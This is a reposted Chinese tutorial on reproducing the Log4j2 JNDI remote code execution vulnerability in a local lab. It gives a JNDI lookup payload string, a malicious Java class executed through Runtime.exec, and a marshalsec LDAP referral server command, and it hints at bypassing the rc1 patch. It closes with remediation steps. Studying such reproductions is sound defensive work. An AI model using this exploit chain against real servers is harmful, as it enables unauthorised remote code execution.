手把手教你复现 Log4j2 漏洞,千万别中招!

2022-01-04 21:31

点击上方“Java技术江湖”,选择“设为星标

回复”666“获取全网最热的Java核心知识点整理


0x00 简介


Apache Log4j2 是一个开源的 Java 日志框架,被广泛地应用在中间件、开发框架与 Web 应用中。


0x01 漏洞概述


该漏洞是由于Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。


0x02 影响范围


Apache Log4j 2.x <= 2.15.0-rc1


0x03 环境搭建


1、创建一个新的maven项目,并导入 Log4j 的依赖包


<dependency>    <groupId>org.apache.logging.log4jgroupId>    <artifactId>log4j-coreartifactId>    <version>2.14.1version>dependency>

8f779b0667dba573ee988922222e1871.webp


0x04 漏洞测试


1、使用 POC 测试


import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest {    public static final Logger logger = LogManager.getLogger();    public static void main(String[] args) {        logger.error("${jndi:ldap://localhost:8888/Exploit}");    }}


2、编译一个恶意类 Exploit.class


首先,新建 exp.java,然后编译为 class 文件。


class Exploit {    static {        System.err.println("Pwned");        try {            String cmds = "calc";            Runtime.getRuntime().exec(cmds);        } catch ( Exception e ) {            e.printStackTrace();        }    }}


执行:


javac exp.java


0903f1dd1dfe3cb05d2bc1cd324444a7.webp


3、使用 marshalsec-0.0.3-SNAPSHOT-all.jar 本地开启一个 LDAP 服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888

4、运行 poc.java,即可访问恶意类并执行写在其中的 "calc" 命令


6086b0f9c93af41026f4176b4d54a9da.webp


结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据 `"?Type=A Type&Name=1100110&Char=!"` 可绕过 RC1、RC2版本 对此异常进行了捕获。


https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2


 0x05 修复方式 


目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查并及时升级至最新版本。


https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


建议同时采用如下临时措施进行漏洞防范:


  1. 添加 JVM 启动参数 -Dlog4j2.formatMsgNoLookups=true;

  2. 在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;

  3. 使用 JDK 11.0.1、8u191、7u201、6u211 及以上的高版本;

  4. 部署使用第三方防火墙产品进行安全防护。

转自:daxi0ng,

链接:blog.csdn.net/qq_40989258/article/details/121862363

f80c1e6bab150c233346dbc863d2cfb9.webp

干掉Random:这个类已经成为获取随机数的王者


cceeda7d4c3a52f336aae4f4c32e616e.webp

Intellij IDEA 神级插件!效率提升 10 倍!


5963f309272d6bc09c03f3e449858c0d.webp

Spring Boot + MyBatis + MySQL 实现读写分离!

关注公众号【Java技术江湖】后回复“PDF”即可领取200+页的《Java工程师面试指南》

强烈推荐,几乎涵盖所有Java工程师必知必会的知识点,不管是复习还是面试,都很实用。



40391cb205c2032175ba589b8c3a053c.webp

浏览 42
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报